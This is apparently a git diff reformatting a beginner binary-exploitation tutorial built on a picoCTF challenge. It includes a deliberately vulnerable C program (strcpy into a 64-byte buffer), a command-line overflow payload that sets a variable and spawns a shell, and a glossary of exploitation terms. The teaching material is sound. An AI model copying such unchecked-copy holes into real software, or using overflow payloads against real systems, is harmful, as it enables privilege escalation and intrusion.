-whatever is at the address we supplied. -``` +These instructions are what actually print out `"Hello World!"`. The program moves the address of the string `"Hello World!"` into the memory address that `%esp` points to. `%esp` is a register, which you can think of as a special place the processor uses for storing values it needs quick access to. Each register can hold up to four bytes, usually some memory address. Our program then calls the `puts()` function, which prints out whatever is at the address we supplied. + +```asm 0x08048432 <+21>: leave 0x08048433 <+22>: ret ``` -Finally, these last two just pass control from our `main()` back to the C -library, which does some cleaning up and then exits. We'll be learning more -about how these binaries function in later tutorials. +The last two instructions return control from our `main()` function back to the C library, which then does some clean up and exits the program. We'll be learning more about how these binaries function in later tutorials. diff --git a/intro-2/README.md b/intro-2/README.md index 6e18907..832b312 100644 --- a/intro-2/README.md +++ b/intro-2/README.md @@ -1,10 +1,9 @@ -#Intro 2: Screwing aroung with the stack. +# Intro 2: Screwing around with the stack. -**Credit to [Picoctf 2013](2013.picoctf.com) for the binary and source used -here.** +**Credit to [Picoctf 2013](2013.picoctf.com) for the binary and source used here.** + +Now that you've gotten your feet wet with binaries, it's time to dive in to exploitation with the stack. Consider the file [overflow1.c](overflow1.c) -Now that you've gotten your feet wet with binaries, it's time to dive in -headfirst. Consider the file [overflow1.c]() ```C #include #include @@ -39,12 +38,12 @@ int main(int argc, char **argv) { return 0; } ``` -You can tell just by reading through it that the obvious objective here is to -make `win==1` a true statement, but we're going to ignore that for a few -minutes to learn about the stack. The stack is dynamic memory that the program -uses to store addresses, arguments, and all sorts of other goodies. For -example: -``` + +You can tell just by reading through this file that the obvious objective here is to make `win == 1` a true statement, but we're going to ignore that for a few minutes to learn about the stack. The stack is dynamic memory that the program uses to store addresses, arguments, and all sorts of other goodies. + +Here's an example stack dump: + +```salt $ ./overflow1-3948d17028101c40 Usage: stack_overwrite [str] $ ./overflow1-3948d17028101c40 AAAA @@ -75,11 +74,10 @@ Stack dump: win = 0 Sorry, you lose. ``` -Now if you know a thing or two about ASCII, you'll know that 0x41 is the value -of "A". At the bottom of the stack dump, you'll notice that the beginning of -the buffer contains 0x41414141, or our four A's. Now we can run it again, only -this time we'll put a few more. Pay attention to the addresses on the left :) -``` + +Now if you know a thing or two about ASCII, you'll know that `0x41` is the value of the character `A`. At the bottom of the stack dump, you'll notice that the beginning of the buffer contains `0x41414141`, or our four `A`'s. Now we can run it again, only this time we'll store a few more `A`'s. Pay attention to the addresses on the left :) + +```salt /overflow1-3948d17028101c40 $(python -c 'print "A"*76') Stack dump: 0xfff577d4: 0xfff58853 (second argument) @@ -108,26 +106,35 @@ Stack dump: win = 1094795585 Sorry, you lose. ``` -This bit: `$(python -c 'print "A"*76')` just makes python print out 76 "A"s. -Now you'll notice that the addresses on the left are completely different than -the first run. This is normal. Most binaries these days have ASLR enabled, a -protection that randomizes stack addresses from run to run. However, you might -notice that `win = 1094795585` according to the stack dump. What just happened? + +This shell command: `$(python -c 'print "A"*76')` tells python to print out the `A` character 76 times. + +Notice that the addresses on the left are completely different than the first run. This is normal, and due to something called `ASLR`, or Address Space Layout Randomization. Most modern OSes have `ASLR` enabled, which is protection that randomizes stack addresses on each run of a program. + +Now, you might notice that `win = 1094795585` according to the stack dump. What just happened? Back to the source: + ```C char buf[64]; strcpy(buf, str); ``` -Our buffer only holds 64 bytes. However, `strcpy()` is a dangerous function. -The buffer we provide contains 76 bytes. `strcpy()` doesn't care about checking -lengths. Instead, those extra 12 bytes that don't fit just get thrown onto the -stack. The value of `win` was stored right next to our buffer, so let's try to -set `win=1.` This is where things get a bit tricky. "1", as in the string, is -0x30. We need to submit 0x1, which isn't printable. Since `win` is right next -to our buffer on the stack, we can just submit 64 "A"s, followed by one "\x01" -to leak into the last byte of `win`. -``` + +**`strcpy()` is a dangerous function!** + +Our buffer only holds 64 bytes, however, the buffer we ask to be copied contains 76 bytes. `strcpy()` doesn't care about checking lengths, so the extra 12 bytes that don't fit just get thrown onto the stack. + +The value of `win` was stored right next to our buffer, so next let's try to set the value of `win` to `1`. + +This is where things get a bit tricky... + +We need to be careful not to confuse characters and integers. The character `1` is `0x30` in hex, but the integer `1` is `0x1` in hex (Note that this is not printable.) + +We want to set `win` equal to the *integer* representation of `1`, not the character representation of `1`. + +Since `win` is right after our buffer on the stack, we can just write 64 `A`'s in character format, followed by a single `"\x01"` to our buffer. This will leak the last byte (`0x01`) of the buffer we wrote to where `win` is stored, setting `win = 1`. + +```salt $ ./overflow1-3948d17028101c40 $(python -c 'print "A"*64 + "\x01"') Stack dump: 0xffe29f04: 0xffe2b85e (second argument) @@ -159,5 +166,4 @@ overflow1-3948d17028101c40 overflow1-3948d17028101c40.c README.md $ exit ``` -If you try this for yourself, you'll get a shell. You sucessfully have -manipulated the stack to give you what you want. +If you try this for yourself, you'll get a shell. You've now sucessfully executed a buffer overflow attack! diff --git a/intro-2/overflow1-3948d17028101c40 b/intro-2/overflow1 similarity index 100% rename from intro-2/overflow1-3948d17028101c40 rename to intro-2/overflow1 diff --git a/intro-2/overflow1-3948d17028101c40.c b/intro-2/overflow1-3948d17028101c40.c deleted file mode 100644 index ca8013f..0000000 --- a/intro-2/overflow1-3948d17028101c40.c +++ /dev/null @@ -1,32 +0,0 @@ -#include -#include -#include -#include -#include -#include "dump_stack.h" - -void vuln(int tmp, char *str) { - int win = tmp; - char buf[64]; - strcpy(buf, str); - dump_stack((void **) buf, 23, (void **) &tmp); - printf("win = %d\n", win); - if (win == 1) { - execl("/bin/sh", "sh", NULL); - } else { - printf("Sorry, you lose.\n"); - } - exit(0); -} - -int main(int argc, char **argv) { - if (argc != 2) { - printf("Usage: stack_overwrite [str]\n"); - return 1; - } - - uid_t euid = geteuid(); - setresuid(euid, euid, euid); - vuln(0, argv[1]); - return 0; -} diff --git a/intro-2/overflow1.c b/intro-2/overflow1.c new file mode 100644 index 0000000..4469808 --- /dev/null +++ b/intro-2/overflow1.c @@ -0,0 +1,36 @@ +#include +#include +#include +#include +#include +#include "dump_stack.h" + +void vuln(int tmp, char* str) +{ + int win = tmp; + char buf[64]; + strcpy(buf, str); + dump_stack((void**) buf, 23, (void**) &tmp); + printf("win = %d\n", win); + + if (win == 1) { + execl("/bin/sh", "sh", NULL); + } else { + printf("Sorry, you lose.\n"); + } + + exit(0); +} + +int main(int argc, char** argv) +{ + if (argc != 2) { + printf("Usage: stack_overwrite [str]\n"); + return 1; + } + + uid_t euid = geteuid(); + setresuid(euid, euid, euid); + vuln(0, argv[1]); + return 0; +} diff --git a/terms/README.md b/terms/README.md index 23b1799..466c0b8 100644 --- a/terms/README.md +++ b/terms/README.md @@ -1,69 +1,62 @@ -#Words, Terms, and Phrases +# Glossary of Terms -#####This will your dictionary throughout these exercises. If it's not in here, -#####Contact me to ask and I will update it. +Note: If you have a term you'd like added to the list, add an Issue or open a Pull Request. -## General terms for binaries: +## Technical Terms -**Binary:** The binary is the compiled C or C++ file. Anything that is in the -binary has a *constant address.* (usually, see PIE) +* **ASLR (Address Space Layout Randomization):** Security measure in modern OSes to randomize stack and libc addresses on each program execution. -**libc:** A binary the is *dynamically linked* has a libc file. This means that -the whole set of standard library functions are somewhere in memory to be used -by the program +* **Binary:** A binary is the output file from compiling a C or C++ file. Anything in the +binary has a *constant address* (usually... see PIE.) -**PLT:** Stands for . The PLT is essentially a wrapper function for all -functions directly called in the binary. *These are only used in dynamically -linked binaries* +* **Canary:** A canary is some (usually random) value that is used to verify that +nothing has been overrwritten. Programs may place canaries in memory, and +check that they still have the exact same value after running potentially +dangerous code, verifying the integrity of that memory. -**GOT:** Stands for Global Offset Table. The GOT is a string of pointers into -libc. The PLT calls whatever address is loaded into the GOT at runtime. +* **GOT (Global Offset Table):** The GOT is a table of addresses stored in the data section of memory. Executed programs use it to look up the runtime addresses of global variables that are unknown at compile time. -**Stack:** The stack is part of the memory for a binary. Local variables and -pointers are often stored here. The stack can be randomized. +* **Heap:** The heap is a far more reliable memory space similar to the stack. +However, usage of the heap has to be invoked by the coder, so heap problems are +often their own category of exploitation -**ASLR:** Stands for Address Space Layout Randomization. This means that the -stack and libc addresses are randomized from runtime to runtime. +* **libc:** A binary is *dynamically linked* and has a libc file. This means that +the whole set of standard library functions are located somewhere in the memory used +by the program. -**PIE:** Stands for Position Independent Executable. This is essentially ASLR -but for the binary itself. When this protection is enabled, locations of actual -code in the binary are randomized. +* **NX (Non-Executable):** Security measure in modern OSes to separate processor instructions (code) and data (everything that's not code.) This prevents memory from being both executable and writable. -**NX:** Stands for Non-Executable. This means that no memory is both writable -and executable, so shellcode is useless unless you bypass it. I don't really -cover binaries without NX because they aren't common. +* **PIE (Position Independent Executable):** Essentially ASLR, but for the binary itself. +When this protection is enabled, locations of actual code in the binary are randomized. -**ROP:** Stands for Return Oriented Programming. In regular terms it means that -we reuse tiny bits of code throughout the binary to get what we want. +* **PLT (Procedure Linkage Table):** The PLT is essentially a wrapper function for all +functions directly called in the binary. *Only used in dynamically +linked binaries*. -**Heap:** The heap is a far more reliable memory space similar to the stack. -However, usage of the heap has to be invoked by the coder, so heap problems are -often their own category of exploitation +* **ROP (Return Oriented Programming):** Reusing tiny bits of code throughout the binary to construct commands we want to execute. -**Canary:** A canary is some (usually random) value that is used to verify that -nothing has been overrwritten. Programs may place canaries into memory and -check that they still have the exact same value asfter running potentially -dangerous code, verifying the integrity of that memory. +* **Stack:** The stack is part of the memory for a binary. Local variables and +pointers are often stored here. The stack can be randomized. -## Important functions to look out for: -TODO: ADD MORE. +## Important Functions to Watch Out For: -`system()` : This function can be used to execute commands or even other -binaries if called properly. I think it defaults to sh to handle commands on -most linux flavors +TODO: ADD MORE. -`mprotect()` : This is the function responsible for setting page pivilieges. If +* `mprotect()`: This is the function responsible for setting page pivilieges. If you can call this function with your own arbitrary arguments, you can -effectively bypass NX protection +effectively bypass NX protection. + +* `system()`: This function can be used to execute commands or even other +binaries if called properly. I think it defaults to sh to handle commands on +most Linux flavors. -##General Terms +## General Terms -**Arbitrary:** This word is used to imply the fullness of control that you -might have given an exploit. If you can run *arbitrary* code or read/write -*arbitrary* values, that means you can run, read, or write whatever you choose. +* **Arbitrary:** This word is used to imply the fullness of control that you +might have given an exploit. If you've achieved *arbitrary code execution*, that means you can run, read, or write whatever commands you choose. -**Reliable:** Reliable in the context of binary exploitation is almost exactly +* **Reliable:** Reliable in the context of binary exploitation is almost exactly the same as regular use. An exploit is said to be reliable if it works across different runs consistently. It might seem dumb to define this work, but somtimes with exploits you will only have the option to make an unreliable